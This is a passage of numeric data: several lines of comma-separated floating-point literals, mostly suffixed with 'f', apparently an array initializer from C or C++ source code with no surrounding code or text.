-0.288097000970518f, 0.950119107184838f, 0.709879842972902f, 0.730067219897393f, 0.710813066057284f, -0.192333836978130f, -0.190446300563246f, 0.872679304648751f, 0.134143163657763f, -0.979443835407234f, -0.103872104041761f, -0.0568328979324004f, -0.863020133862081f, -0.0257801722427251f, -0.577962771617033f, -0.0500056799801032f, 0.191817418291914f, -0.799853775410853f, -0.110019424741421f, 0.840753817223395f, 0.355588322976119f, 0.274501278628024f, 0.757538306972136f, 0.771547320156202f, 0.0394143752709530f, 0.120744072764658f, 0.324337882930581f, -0.380086709776951f, -0.772025774284869f, 0.473986846199588f, 0.703247561676381f, 0.734667480205300f, -0.594290184210087f, 0.760158653782445f, 0.624553744314883f, -0.941053266957965f, -0.165913770936962f, -0.0497972870738055f, -0.0435608680908517f, -0.663165366083943f, -0.570972482385751f, 0.427845034528880f, 0.0897903148165149f, -0.481825010950428f, -0.0901127105939594f, 0.887770435656611f, 0.770985476674623f, 0.00966158758316293f, -0.331059327378268f, -0.286033645163736f, -0.0698945910210471f, 0.834392309773299f, 0.875537383319608f, -0.657919190548359f, 0.583890957562885f, -0.418481077359384f, -0.282242397022386f, 0.864577023994874f, -0.898367126143440f, 0.815804441243808f, 0.616061408588373f, 0.132365642864798f, -0.221099752471970f, -0.852722283680675f, -0.269499596712950f, 0.360828136129415f, -0.120022743070141f, -0.0354652134632905f, -0.718389836602256f, 0.973490047219112f, -0.201775047168341f, 0.348769511760972f, -0.338750368577880f, -0.269769414088757f, 0.498910931428472f, -0.787648791515347f, 0.508408064858444f, -0.904215976374529f, -0.778575029821227f, -0.662889546847757f, -0.787503064261069f, -0.915166838630178f, -0.415784802770356f, 0.731806835017609f, -0.903922155472207f, 0.0872811033112211f, -0.452516774501827f, 0.577942533813694f, -0.200909337658770f, 0.866167939661793f, 0.982552542055944f, -0.332277333696961f, 0.201673960342839,
0.881239812364993f, -0.0293753746942893f, 0.0967170348490725f, -0.765573023404242f, -0.179225339525953f, -0.931530757069740f, -0.702596334762137f, 0.439106079307245f, -0.469364154277323f, 0.211063395888038f, -0.245858633045693f, 0.936376071219385f, 0.0334087380010875f, 0.0765265939183459f, 0.417091701258078f, 0.962467059286170f, -0.180698008768999f, -0.129816441691123f, -0.833694435146788f, -0.800582099046532f, 0.736376297618233f, 0.0164704176688124f, 0.207462305741760f, 0.300555292898496f, 0.777154212278295f, -0.0804533056660695f, -0.279940128908185f, 0.203101811030871f, 0.447496959357837f, 0.508353359025257f, 0.644333822521829f, 0.897259297488483f, -0.675785952117501f, 0.149337263319588f, 0.350953290584184f, 0.600296681944338f, -0.606098182955297f, -0.418312129297725f, 0.792551232171214f, -0.944025948110651f, -0.923106441737020f, 0.508989820072736f, 0.101554011154237f, -0.799369609980037f, -0.229001813644938f, 0.196367996268564f, -0.634078446275840f, 0.267446716753553f, 0.943765754688567f, 0.329924442019441f, -0.898235312442524f, 0.563592978494850f, -0.976934293161001f, -0.609744819901837f, 0.498989633313589f, -0.105680058480959f, -0.400730747241191f, 0.264919109340783f, -0.313066735594123f, -0.465399967597728f, -0.425123918113080f, -0.609514085808810f, 0.916560800692384f, 0.0173757138934230f, 0.147814399202503f, 0.594152503614559f, -0.145681097751433f, -0.427232299718493f, 0.233460382614713f, 0.337361272635241f, 0.376106438004541f, 0.900277274651600f, 0.424547631957395f, -0.710790444715071f, 0.0846761090154495f, -0.0122707338404220f, 0.119989812955904f, -0.239774389963524f, -0.692300891031819f, -0.735109129583214f, 0.802276300301071f, 0.348982047806247f, 0.916302084278941f, -0.0838164783829127f, -0.989134997097880f, 0.832909602224562f, -0.701363449605445f, -0.150487976031971f, -0.728594035984111f, -0.144393031996783f, -0.458856761770637f, 0.733295441303064f, -0.405608670768629f, 0.522871610912813f, 0.468223399458939f, -0.575139530810903f, -0.241684287862418f, -0.499140599234906f, -0.395586476697394f, 0.692745485195348f, -0.125142235859546f, -0.342212246193052f, 0.133841188490164f, -0.539478395228865f, -0.887973984329817f, -0.474033882236453f, -0.837114132429830f, 0.773392302912611f, 0.117697651876253f, -0.461595011213406f, -0.528669601602068f, -0.957799577987062f, -0.468654423525192f, -0.0602288998398475f, 0.154553704272891f, -0.422854231304259f, -0.496136532114270f, -0.348154983723668f, 0.0576478341707483f, 0.542088962901856f, -0.0465812136931592f, -0.280128217727361f, -0.900695482510248f, 0.525110685457899f, -0.957266165874283f, 0.136490670826643f, -0.213221811269364f, 0.690040133288898f, 0.269408771473479f, -0.0488994830172422f, -0.837526616586426f, -0.289127052660601f, 0.149325279006459f, -0.694169700971401f, -0.0230547571616897f, -0.368313297034846f, 0.344434270521740f, 0.859135365902404f, 0.839336654691204f, -0.511783987355355f, -0.0349625753049687f, 0.935857929664427f, 0.820032045433520f, -0.0394079346656324f, -0.656352913407746f, -0.874383371678169f, -0.425836335156061f, 0.208600154889275f, -0.135596548598733f, 0.566430757256762f, 0.820840891306264f, 0.735746624790780f, -0.765482927015804f, -0.0195537720748045f, 0.606216172027628f, 0.436027839798869f, -0.609233580289002f, -0.963547951222316f, -0.575271468261977f, 0.692873344771925f, 0.143031668657597f, 0.890157114774225f, 0.762299295692265f, 0.653618249618643f, -0.957258626549595f, 0.521895225378123f, -0.607922211531407f, -0.956795748110572f, 0.477633684273092f, 0.794301967670603f, 0.139753218894595f, 0.371726372555490f, -0.804791987531745f, 0.837080126047059f, -0.440992020192054f, 0.584986017638085f, 0.950442046050057f, 0.613109120495913f, 0.633948971396891f, -0.581246845000116f, 0.730290176291093f, 0.599119212595240f, 0.120096101936515f, -0.144169383323758f, 0.930776406826440f, -0.0209712926465206f, 0.572995665695966f, 0.924623298379120f, -0.751832867985678f, 0.630196806059302f, 0.506634179395662f, 0.0388997263873157f, -0.311041196366299f, -0.729049093325017f, -0.918815504666740f, -0.103935429478766f, -0.000623544124330300f, 0.102880227280474f, -0.563637096166535f, -0.332148269587814f, 0.472114131256244f, 0.295717126494164f, 0.246944592105312f, -0.713191555660498f, 0.160410320426559f, 0.110992936470077f, 0.213877527744528f, 0.541660996543375f, -0.872405734998843f, 0.388515073094269f, -0.840811647524440f, -0.968008592072007f, 0.669947948420772f, -0.122943215855172f, 0.565929115911552f, -0.695408966310186f, 0.361296950635219f, 0.574282481983669f, 0.0877180513263536f, -0.694316083550519f, 0.327696487191071f, 0.289746985823208f, -0.241476327174879f, 0.605084742574250f, 0.0929272338220821f, -0.391399761658219f, -0.612928183827531f, 0.0471987261466311f, 0.157388702609590f, 0.575695018001234f, 0.450453491026024f, 0.876623108212541f, -0.456500163180038f, 0.436901006801809f, 0.796734433864345f, 0.771008396172517f, -0.784740610155705f, 0.405172719255834f, 0.958393667559228f, 0.787380105147761f, -0.262826016234054f, 0.773327117333271f, 0.482142068916266f, -0.461607549022954f, -0.153993688218026f, -0.129280134980317f, 0.901812622560630f, -0.111520793491644f, -0.0973214524989203f, -0.293695817178366f, -0.190045093887485f, -0.204792515844396f, 0.501086384719391f, 0.755953359112033f, -0.425886872154604f, -0.0883029298084141f, 0.763071371252921f, -0.556289447935984f, 0.577370462369201f, 0.0480599614417476f, -0.794423686623353f, 0.756645959967545f, 0.570538730848462f, 0.872575422156333f, -0.443572567528656f, -0.0487937634747691f, 0.283986553648095f, -0.170910821134099f, -0.329867000423004f, -0.982322841409943f, 0.555344201026651f, -0.351964643393940f, 0.776172688776518f, -0.148102477734717f, 0.889532618676503f, -0.310979434517253f, 0.711839903052208f, -0.646385596147085f, 0.145592596381502f, 0.233949589173221f, -0.825471565980294f, -0.370248763132654f, -0.777194557275684f, -0.224658064754195f, 0.263281286751478f, 0.849661910468068f, 0.271261490445121f, -0.915885420717958f, -0.947144520818678f, 0.227960459606299f, 0.784463828083640f, 0.995882406349565f, -0.987273766396493f, 0.0792453274840108f, -0.788403526960056f, -0.619975942121645f, 0.801181796307713f, 0.967884377026145f, -0.781223064263388f, -0.300716486479280f, 0.994748932974184f, -0.200152360574411f, -0.101898131541608f, 0.542914585925881f, 0.407729967031792f, -0.105215843903154f, 0.638066037611924f, -0.563777780161298f, 0.134189395993685f, -0.503320561486155f, -0.0379170306314711f, 0.723638115686875f, 0.747948383928228f, 0.928239905995551f, -0.736883772878758f, 0.892242913709735f, 0.468998243295705f, -0.224406388545097f, 0.758754382878863f, 0.994739001052496f, -0.749837906573089f, -0.938777322178786f, -0.619168635741936f, 0.827875717654585f, 0.294033159230782f, -0.372766318349126f, -0.292752124932124f, 0.396629951868878f, -0.986760927173237f, -0.0841834195975009f, 0.999760803826313f, 0.0142305924173638f, -0.820393900206961f, 0.409972278573230f, 0.227315924377402f, -0.641500351639361f, -0.470788010535406f, -0.486171076557593f, -0.758140688442947f, -0.971539708794928f, -0.949039718833189f, -0.146844988902767f, -0.0183627478820223f, 0.402918762093981f, 0.0620266698060286f, -0.182527786403967f, -0.374395326540229f, 0.566584207940253f, 0.879546558847970f, 0.853360173786566f, -0.515321950652696f, 0.511692631053674f, 0.342152084355850f, 0.374686420595610f, -0.794372980760555f, -0.648670375991101f, 0.761192158420166f, 0.223791993225057f, -0.342720055148453f, 0.965612513218950f, -0.796193009647904f, 0.215057114709867f, -0.0459498239576994f, 0.871047701509015f, 0.664672380241520f, -0.546301701630944f, -0.939910946986200f, -0.213195706858966f, 0.559543622118596f, -0.255844807516886f, 0.509576048776352f, -0.699005089750431f, -0.520317652140772f, -0.924306703712950f, -0.923814193467638f, 0.868401299001930f, -0.571229497763863f, 0.984740691690212f, -0.911782692220985f, -0.265295471266664f, 0.0479848731515942f, -0.195328058836883f, 0.758281465939343f, -0.418177229854869f, -0.263323557662932f, 0.0230762644115943f, 0.382605016442608f, -0.576209059863238f, -0.739785100410209f, 0.0956412509899256f, 0.0369702493097637f, 0.0738922616872486f, 0.589371657036664f, 0.548586250623500f, 0.996096574632666f, -0.574178408335425f, -0.827059309028347f, 0.600283403682961f, -0.0651062813338117f, 0.985857002071398f, 0.982700721670305f, 0.777628710286989f, -0.139415722014730f, 0.951156387462424f, 0.806391217144736f, 0.135433009714206f, 0.252388414319270f, 0.485541324740928f, 0.270688932431637f, 0.892850103229909f, 0.440168171407923f, 0.515384398158669f, 0.600884162546465f, 0.947986221531091f, 0.339440884303404f, 0.403857490690436f, -0.937015609644647f, 0.729529495316627f, -0.389601866986821f, -0.420712615666380f, -0.763003723744745f, -0.0619534667970105f, 0.486654476027536f, -0.943536854881494f, 0.471171699317719f, 0.996886209046820f, -0.945316270673373f, 0.230772742042993f, -0.621222111022648f, 0.838934157721328f, 0.124035987915113f, 0.737576768711407f, -0.217898078842006f, 0.0429859145211120f, 0.223685413947773f, 0.820073956039170f, -0.378381145423743f, -0.335672684173821f, 0.649791267584388f, -0.457253860252872f, -0.664776842833046f, 0.150429615666837f, 0.974812973893170f, 0.00119972362050369f, 0.140744912838368f, -0.252632269055503f, -0.124205752907507f, -0.383194456927254f, -0.356455432479067f, 0.0694989880525767f, 0.188230048541949f, -0.854592697407303f, -0.902559387772971f, 0.454054169179423f, 0.534684767654295f, 0.806837289706952f, 0.274203715752641f, -0.765433763984323f, 0.459365005291520f, -0.896797218412250f, 0.382900474341852f, 0.169400421233177f, -0.184111368111075f, 0.0323514487432812f, 0.621015577938758f, 0.139872518806323f, 0.480965263781330f, 0.0649386999855643f, 0.815365754221614f, 0.761990264098834f, -0.0927412249348933f, -0.580853742457387f, 0.211615321410605f, 0.165159968106305f, 0.305515629345863f, 0.725748395743965f, -0.667649812347274f, -0.621843189978885f, -0.939317191264789f, -0.197108718554958f, 0.902152006895939f, -0.889744652803018f, 0.667113256888905f, 0.929471703711725f, 0.660025836042506f, -0.0712223078913006f, 0.416152292126436f, -0.602223852277700f, -0.828462878627106f, -0.956915163338265f, 0.298196541541469f, -0.933863927954050f, -0.198745190221695f, 0.749101206471011f, -0.922366396086261f, 0.769953026855636f, 0.971459582749177f, -0.226637139032289f, -0.593509265485619f, -0.635649447577657,
-0.443127775644156f, 0.350464269654307f, 0.379979516655134f, 0.896282784801247f, 0.00871209446887344f, 0.401818712823609f, 0.815422566258939f, 0.215868289995843f, 0.682217845700443f, 0.508819667108007f, -0.988484263336122f, 0.216656890144568f, -0.185777888700071f, 0.522106353117928f, 0.894211314619113f, -0.779300881699217f, 0.137801937535128f, -0.818740955579722f, 0.637214461095055f, 0.187867696634722f, 0.184985729971243f, 0.315323389557324f, -0.0312525033775366f, 0.498559120407008f, 0.855778208118391f, 0.936851170962385f, -0.0524308158818188f, 0.257087262622978f, 0.816141818246927f, -0.147192803443011f, 0.194545158383538f, -0.655428449892669f, -0.650441844539509f, 0.536015423540886f, 0.0250060573607953f, -0.863380305825989f, 0.0605420782823460f, -0.963662464088496f, 0.689136717877590f, -0.929664162821947f, -0.327349437742288f, 0.713122240487331f, 0.765587094162777f, -0.314350325341316f, 0.409992519686522f, 0.753377832105546f, -0.756848529995586f, 0.760787899507869f, 0.512213162407276f, -0.674820237484644f, 0.560776719592082f, -0.874905891603855f, 0.925202682923872f, -0.907405002733482f, -0.575836335118172f, -0.248173888600965f, -0.187923239740639f, 0.230951002247789f, -0.540190666146588f, 0.390890663320481f, -0.705511708249712f, 0.0980457138183717f, 0.879979753648798f, -0.378326046226794f, -0.645363625221967f, 0.883365508962968f, 0.728720763588748f, -0.191571576393619f, -0.941989254130187f, 0.944312154950866f, -0.367184985473008f, -0.974124559264444f, -0.579946765132286f, 0.509825236656578f, 0.952047194261820f, -0.0955445631918663f, -0.00500764501201401f, -0.00111382665477655f, -0.0404281661495578f, -0.265706359102834f, 0.865881843285797f, -0.947915521623861f, -0.820337973623839f, 0.0843747524022067f, -0.948599514028391f, -0.464018526769358f, 0.600790429663803f, -0.0779017384430381f, 0.756949801920938f, -0.955436496929340f, -0.553346424499498f, -0.401256107066610f, 0.569624108543687f, 0.179455179577041f, -0.189386842296675f, -0.467166492259358f, 0.367644583467601f, -0.722338735126514f, 0.863903729827081f, 0.0631027352569811f, -0.982269235503679f, -0.837788470642698f, 0.421730643738386f, -0.671745211565315f, 0.858467932275763f, -0.745298219348761f, -0.659594977600028f, 0.403238381269873f, 0.951987904652099f, 0.228887404582426f, -0.331665752024408f, 0.794789885033899f, 0.669978127515269f, 0.977583870328654f, -0.346398989178462f, 0.692053246433782f, -0.159407706019695f, 0.710808563527500f, -0.555701359319642f, 0.625665798239905f, -0.711048329414687f, -0.672431532474912f, -0.474897384314332f, -0.196250611816064f, 0.902140605659856f, -0.459732035217428f, 0.651412290305649f, -0.686137550630920f, -0.803228611526547f, 0.371120664039117f, 0.289869860968561f, -0.720979161638185f, -0.0940498575417996f, 0.185025844935128f, 0.401524077274769f, 0.811721346556136f, 0.224659861626089f, 0.106438807548742f, -0.117458956991326f, -0.407361487623449f, 0.683891165426988f, -0.216582410631386f, 0.710644530504861f, 0.867797453793643f, 0.626683550176870f, 0.115061097783331f, 0.976742668387085f, 0.250700864990527f, 0.272723539841862f, 0.159923684669346f, 0.167713264013185f, -0.445764377935606f, -0.489538472614810f, 0.227880894824940f, 0.670702116476237f, 0.610361511284318f, 0.503801949624464f, -0.687816091694902f, -0.0413765153535617f, 0.155769004545734f, 0.921910233366689f, -0.467299226678025f, -0.991984541712805f, -0.527009262324220f, 0.248157897392517f, 0.661145853979517f, -0.975947426744844f, -0.242453990684693f, -0.277956284573619f, 0.162010437415540f, 0.889456199489152f, -0.171259539670729f, -0.0636124576727060f, 0.311318764402696f, -0.227771282875219f, -0.567702050585727f, -0.132881625149059f, 0.870846950418812f, 0.440078398779761f, -0.0908818839265000f, 0.410077545060762f, 0.917678125288724f, 0.975295290129489f, 0.736514272579886f, 0.653896379317074f, -0.166512942888681f, -0.218665383726096f, -0.0688642360506688f, -0.596589868100824f, -0.180873413844075f, 0.229002598511067f, -0.647630976455599f, 0.722615884501717f, 0.760194030884127f, 0.253262836539679f, 0.0734191803957118f, -0.941427952376035f, 0.224118866807764f, 0.634990976599086f, 0.538622500570355f, -0.591487367587299f, 0.829253069890529f, 0.426659996899884f, -0.562435396124737f, 0.924178169394878f, -0.693964899988321f, -0.520472617448914f, 0.845157115508053f, 0.162984246343684f, -0.212032053476592f, 0.0482566706558292f, 0.820584028875367f, 0.676120066619505f, 0.590174358812695f, -0.457289938956925f, -0.351282540371674f, 0.322162683499620f, -0.683726196205246f, -0.279636659553935f, -0.186133028676429f, 0.965481755833750f, -0.0550172560314044f, -0.437844829991532f, -0.448670532146325f, -0.438916826946834f, 0.830205353164842f, -0.0125988502002286f, 0.733716462327519f, 0.870000673588185f, -0.189915082276716f, -0.676269331249200f, -0.336432931956768f, -0.288892891213265f, -0.912569275291884f, 0.509853767908707f, -0.658452317958678f, -0.562848133961047f, -0.102082581799095f, 0.904062026055565f, 0.473339990381854f, 0.210234896873676f, -0.0884007008398613f, 0.720872020499257f, 0.538315255331760f, -0.884485227439286f, 0.160844002639634f, 0.625863524205804f, -0.947487159926400f, 0.362643826956149f, -0.189913270725334f, -0.110428721523612f, -0.666510263156819f, -0.214827103263521f, 0.912669747474334f, -0.973896103049543f, 0.665373714127588f, 0.148135031012834f, 0.126524689644449f, 0.00283763548841764f, 0.312700495893193f, 0.579520771033243f, 0.677583023476560f, -0.779567427807191f, 0.0694994546110597f, -0.298762697062437f, 0.655210050716681f, 0.435909078048151f, 0.322095567178671f, 0.764827170021089f, -0.713736794113842f, 0.992844460358584f, -0.735915506109616f, 0.280204875392391f, 0.584446532772711f, 0.796955505835788f, 0.742508124239176f, 0.0785523490091065f, -0.562359397016753f, 0.874448473576734f, -0.794251927759664f, -0.658767152705445f, 0.120015806343044f, 0.662372174700575f, -0.719334975225296f, -0.663474261357014f, -0.637663874969148f, 0.706137632813821f, 0.734790814693796f, -0.449118755654663f, -0.758125670003823f, 0.719059339327447f, -0.228679956701166f, -0.0782671261690160f, 0.637830522744746f, -0.178696376536345f, -0.848273935253246f, 0.840882430630200f, 0.977813953976437f, 0.565474986185913f, -0.807314895274907f, -0.100534840844589f, -0.436186956483089f, 0.854663592026441f, -0.547576146320248f, -0.621784076386717f, 0.688687549426321f, -0.688962085987764f, -0.998914668418794f, 0.751493418398842f, -0.203018738091861f, -0.881317097659280f, -0.422480898609404f, -0.321074554557095f, -0.759379357125740f, -0.806503084491033f, -0.496837315822352f, 0.217087355208111f, -0.776801484423500f, -0.445747498145286f, 0.710204776554782f, 0.274276964033182f, 0.650397224484409f, -0.709395921248168f, 0.862663541330686f, -0.946166202558813f, 0.826638502366159f, -0.450587332736099f, -0.808257632193740f, -0.414360554482101f, -0.471118187583276f, 0.981592919290155f, 0.192794908371370f, -0.314979855997427f, 0.722518962804398f, -0.795914669179603f, 0.121447532644509f, 0.0446893237592363f, 0.651720955387594f, 0.897128141094619f, 0.283834144643742f, 0.369570391543943f, -0.163784005163726f, -0.799144231493300f, 0.338136741961422f, 0.795991730702685f, 0.601735561139351f, -0.556654767533027f, 0.907044495725416f, -0.374604065784494f, 0.814308532452677f, -0.254295412850351f, 0.443103437041340f, -0.0218296619602199f, 0.826728672505738f, 0.773205771668962f, 0.171909022893217f, 0.497670481959597f, 0.954178712898056f, 0.0840098577761919f, -0.705861127301893f, 0.145663865959608f, -0.436204975766037f, 0.479359595998989f, -0.719493824988072f, -0.523146212355768f, -0.917822711649927f, -0.610003715217602f, -0.192266667446473f, -0.377507163265653f, -0.250419291332051f, 0.873627391381727f, 0.922899703740095f, -0.902411671519496f, 0.285830821349708f, -0.577368595723736f, -0.598296174995687f, -0.0152478418690674f, 0.503725955636280f, 0.946501779740920f, 0.261108140547963f, 0.206258978593364f, -0.887022338332430f, 0.989187042741485f, 0.461764104690670f, 0.305280284664753f, 0.243972878436235f, -0.573704516784209f, 0.111805651228880f, -0.373590027525854f, 0.574564836347642f, -0.712884790778729f, -0.0570130063179222f, 0.244209425500712f, -0.717492787619277f, -0.476920207759357f, -0.444169983027413f, -0.254851417015366f, -0.505678630542571f, -0.953549022234155f, -0.0316841901798541f, 0.198256779602804f, 0.151938229162240f, -0.0259028503944394f, -0.799645893003010f, -0.889308912372168f, 0.339221517072804f, 0.904784479404768f, -0.367330903112591f, 0.866281762131661f, 0.112765232993802f, -0.0852946527317187f, -0.283538359072154f, -0.734951426632046f, 0.502970854898684f, -0.541434927857400f, 0.881496286285600f, -0.227404039639917f, -0.636983936776183f, -0.0799774217214970f, -0.833780310813424f, -0.222787370954425f, 0.433143783060434f, 0.0953330524947187f, 0.965400264971588f, 0.308927931247299f, 0.344316393259575f, 0.122880788538352f, -0.898509922382301f, -0.187062523329053f, 0.705352247460646f, -0.817811000761718f, 0.303714513401701f, 0.714863075518907f, -0.00862372607283035f, -0.842715848975590f, 0.816504077307885f, 0.924594085591125f, 0.334618732730041f, -0.212414743241377f, -0.758289625449925f, 0.586405661412351f, 0.909247363444287f, -0.800422609846793f, 0.397430897916299f, -0.408827454151232f, -0.411913213123543f, -0.602703152770135f, -0.893591462026327f, 0.417648762458765f, -0.766362696266534f, -0.166060103951854f, 0.883234167729589f, -0.0741908774062401f, 0.113912882075078f, -0.268248292164738f, -0.825585719915457f, 0.885446166477969f, -0.996523379251940f, -0.000841720632677401f, 0.940286529247477f, -0.528330498750176f, 0.0938880690147421f, -0.966296878893937f, 0.891956527154360f, -0.483384605653306f, 0.257210342748458f, -0.820220338820906f, 0.363913841603935f, 0.0364865250689275f, 0.0619156958713947f, -0.645447937080250f, 0.548279343062761f, -0.289526240449473f, -0.506780094171335f, -0.901771170107367f, -0.437874075223813f, 0.748512212111141f, -0.529884246718074f, 0.924062132675193f, -0.365432219122282f, -0.263296006595835f, -0.927083881647913f, -0.192737974697553f, -0.450051159199964f, -0.543528645806642f, 0.834976909049276f, -0.426975046433596f, -0.361056079272416f, 0.883880063360531f, 0.680380429911630f, -0.553642515320953f, 0.548847108935282f, -0.357430246936948f, 0.210445016993628f, 0.949511601115471f, -0.611278947360487f, 0.344744934459962f, 0.0684247970496175f, -0.877154656281116f, -0.521992702610556,
-0.0303764312006813f, -0.647220068176984f, 0.693175336224119f, -0.0955602614554496f, -0.765579758912278f, -0.821318118938906f, -0.220936603794347f, 0.159013709512021f, 0.0222743973539492f, 0.569438412513281f, 0.896083437551563f, 0.973699071868637f, -0.403438951991928f, -0.976931032127622f, -0.0720613180573018f, 0.0788813367661694f, -0.430781354548607f, 0.580378296309349f, -0.175446689199481f, -0.256743557012462f, -0.696667845393283f, 0.870473046831235f, 0.146660713923108f, 0.277741407197705f, 0.502075064404417f, 0.396530064046844f, -0.000209092342246420f, -0.977003947244262f, 0.451457326960000f, 0.420509664462095f, -0.0826395067671402f, 0.461120688156973f, 0.786867285802415f, 0.429254905841222f, 0.894426863739026f, -0.670297281923597f, -0.833650409296060f, -0.908588009702110f, 0.516311115539149f, 0.975234001829324f, -0.532953533466378f, 0.775291582519158f, -0.0136022600428900f, 0.654817093112596f, 0.363512141498233f, 0.624779024037534f, 0.0237004661473674f, -0.172570506046968f, 0.401807838319043f, 0.997391258152958f, -0.553969395939123f, -0.415425175833161f, -0.758032843655304f, -0.482766088920005f, 0.637574309072414f, -0.729000055114342f, 0.699851428676091f, -0.827508053421131f, 0.900655803848482f, -0.431149800814228f, 0.0369409101983413f, -0.378608101457895f, 0.237564147838841f, 0.533020461112441f, -0.280269627508005f, -0.864065787343603f, -0.0381481642453043f, -0.566886547530062f, 0.539727700361167f, 0.166859339425035f, 0.850080295054718f, 0.384690146030125f, -0.384995288415294f, 0.303656036600558f, -0.580297619022502f, 0.0649069482840878f, -0.162922327392773f, -0.235019427063355f, -0.265468718118809f, -0.121827312187455f, 0.0416628805824146f, 0.343481543012411f, -0.251429566892972f, -0.868100204320718f, -0.802636407512128f, -0.549547579028752f, -0.570017983863503f, -0.853634311513627f, -0.564570567173235f, 0.955944215494794f, -0.0930750790375956f, -0.160319122401953f, -0.640886790354213f, 0.798634607857513f, 0.503051518023559f, 0.765247226736789f, 0.909476811674882f, 0.677590253114963f, -0.110641683440517f, -0.336445241915220f, -0.684064840782028f, 0.962285048920031f, 0.883303701653897f, 0.981819291389659f, -0.597290928759656f, 0.215792997443025f, -0.847656608719347f, 0.679887992445640f, 0.299901700372808f, -0.677306526467426f, -0.348340058872692f, 0.651490451411335f, -0.133387041637395f, 0.718311240322040f, 0.0869279817052975f, 0.155413706090559f, -0.869119988858735f, -0.566773040844476f, -0.0513826414151206f, -0.368087669232071f, -0.978175512831125f, -0.229213501073727f, 0.344608572405871f, -0.663307667219997f, 0.437238632879575f, 0.00205230197288353f, -0.0897076092856746f, 0.834529513214144f, 0.131872357342232f, 0.113081940417244f, -0.418620232731326f, -0.317993033651213f, -0.740303025960662f, 0.423423655701288f, -0.300833032468860f, -0.458960388256530f, 0.692670405117589f, -0.559944357561921f, 0.0168623577148430f, 0.568661331088367f, -0.385055363002398f, -0.356055436463140f, -0.794446573681063f, 0.908870080953069f, -0.295500656666577f, 0.800625150733729f, 0.206307902542489f, 0.729591183391974f, -0.0655746333947396f, -0.261707022686154f, -0.802380330579914f, 0.0812359238243023f, -0.00528231140765212f, -0.725740453383981f, 0.919076065030463f, -0.896497189839174f, 0.861919731820265f, -0.804273875755869f, 0.230339021648310f, 0.296779613186519f, -0.349872572510143f, -0.270230381483447f, 0.0368924200249658f, 0.581340248642417f, 0.943620537648739f, 0.715012058065301f, 0.528414993233909f, 0.695917111744314f, -0.634354198968852f, -0.483786223099716f, 0.565405035681248f, -0.530076864213017f, 0.363019522302994f, -0.825556544716473f, 0.891096876998683f, -0.990692760548295f, -0.450641405862313f, -0.597008073985341f, -0.464377765418678f, -0.942926913464693f, -0.871399725569805f, 0.232335933943403f, 0.858786794807406f, -0.528589179815518f, -0.324757177062634f, 0.595880088750788f, -0.976574570427974f, -0.423824220654658f, -0.832990206908489f, 0.198704682807118f, -0.168244652325292f, 0.843066822744011f, 0.0912498543932607f, 0.485570815146582f, -0.104653316420662f, -0.623461298489716f, -0.807713596811018f, 0.737782734425857f, 0.456364368166532f, -0.430703367862900f, -0.188953991637209f, -0.827984282695373f, 0.0246267653665548f, 0.891225605267640f, 0.910600867999638f, 0.345236086687552f, -0.600682365520065f, 0.833182106437698f, 0.213749250288017f, -0.0866339102562885f, -0.618385082289017f, 0.859527120927500f, 0.749978780964161f, -0.334770513867011f, 0.242140166670949f, -0.196268320459958f, 0.611789869603675f, 0.655057159657307f, -0.603759576722096f, 0.614654509385217f, 0.144145218488192f, 0.959930150756613f, 0.485009777784726f, -0.564230295010912f, -0.404716165405314f, 0.0442672151313601f, 0.929486639423805f, 0.409386317338224f, 0.527053707674182f, 0.899087569745327f, -0.933259779365388f, 0.265159475034860f, -0.858300862890810f, -0.870994388031662f, 0.354868177430506f, 0.00956840260511749f, 0.429740959889133f, 0.649668163567379f, -0.744532888765288f, -0.967499901569196f, 0.556703631745254f, 0.535130550118618f, -0.639502350153040f, -0.604586469532735f, 0.0799683564329623f, -0.156074786599444f, -0.348308700325411f, 0.217829052228100f, 0.545642400171123f, -0.303317700019152f, -0.473220675222451f, -0.239688108834945f, 0.0998500862725149f, -0.962734081833842f, 0.870743993144299f, 0.464578557934316f, 0.184511089576136f, 0.559729843314504f, 0.0702052363354577f, 0.632714874625648f, 0.212930743289312f, -0.454606863365109f, -0.592679055778218f, 0.287649993384466f, -0.457293694071368f, -0.423493046785686f, -0.0674763327876298f, 0.242131064298176f, 0.488581911885965f, -0.464567743213882f, -0.387515661812354f, -0.914585596974616f, -0.255803162310627f, 0.941267268311980f, 0.690278917089395f, 0.302397314111962f, -0.178461434689705f, -0.949279941481428f, 0.160440202901122f, -0.970582196769486f, -0.0119478205074164f, -0.206440255898676f, 0.221640403444713f, -0.819801447827624f, 0.263614394802488f, 0.616376195532700f, -0.596859494305351f, -0.118659509995453f, 0.458168997595326f, -0.0400474705134108f, 0.934465050133603f, -0.852936731989621f, 0.0191637795580570f, 0.298534793677081f, -0.857491630206749f, -0.0141198383157879f, -0.365027350962024f, 0.450964838023674f, 0.351383095290905f, -0.387039947149600f, -0.983994933095116f, 0.610531582220017f, -0.0446025524732094f, 0.216718014780746f, -0.676819246943449f, 0.0385619292249610f, 0.192482456707739f, -0.288809653393521f, 0.241774557042318f, -0.444638770943313f, 0.535319194413803f, 0.374773141606987f, 0.186364279454450f, 0.0701814972821988f, -0.452753172654203f, -0.350918291268194f, -0.332963791049667f, 0.179301863965318f, 0.954101654404080f, -0.687960044344130f, 0.611454049205213f, -0.696789567124132f, -0.551566492897529f, 0.656434797122885f, -0.601779335396959f, -0.265656331560395f, -0.528821434638507f, 0.153601151147409f, 0.514739334540489f, -0.0517769842323894f, -0.659246830986894f, -0.453055366696259f, -0.0515886000780059f, 0.958478845408115f, 0.0221452906045994f, -0.159960643390796f, 0.816263632871352f, 0.245244170325114f, -0.0919839688704780f, 0.947170598807362f, 0.846772793441790f, 0.247105133025056f, -0.801972939368103f, -0.224977420586025f, 0.130099925027197f, 0.497816036746753f, 0.308139730113712f, -0.0536876417759813f, -0.492022090866895f, 0.188938438822753f, -0.400894058284033f, 0.314370104391157f, 0.618580768947071f, 0.830051263404639f, -0.228700130023340f, 0.811855169643177f, 0.0924092179787017f, 0.273652523319809f, -0.0624274843235475f, -0.503696982048589f, 0.510545161203341f, 0.341823133345436f, -0.437486933663093f, 0.0134072800031224f, 0.613837993234983f, 0.740945655313894f, 0.135311460882606f, 0.464832228842466f, -0.973962843371452f, -0.519388256678232f, 0.631469277357519f, -0.936937468616713f, 0.208677911871604f, -0.0946010975796272f, 0.560587233611855f, 0.230925763372331f, -0.637408482848184f, -0.679175194353885f, -0.408696637706987f, -0.0837464598184048f, -0.911070817707239f, 0.985815432104941f, -0.208807972878988f, 0.741966810464688f, 0.162772839973564f, 0.717702638881939f, 0.490767958961575f, -0.835565390813677f, -0.878516167634055f, -0.956727838876563f, -0.00772081382858891f, 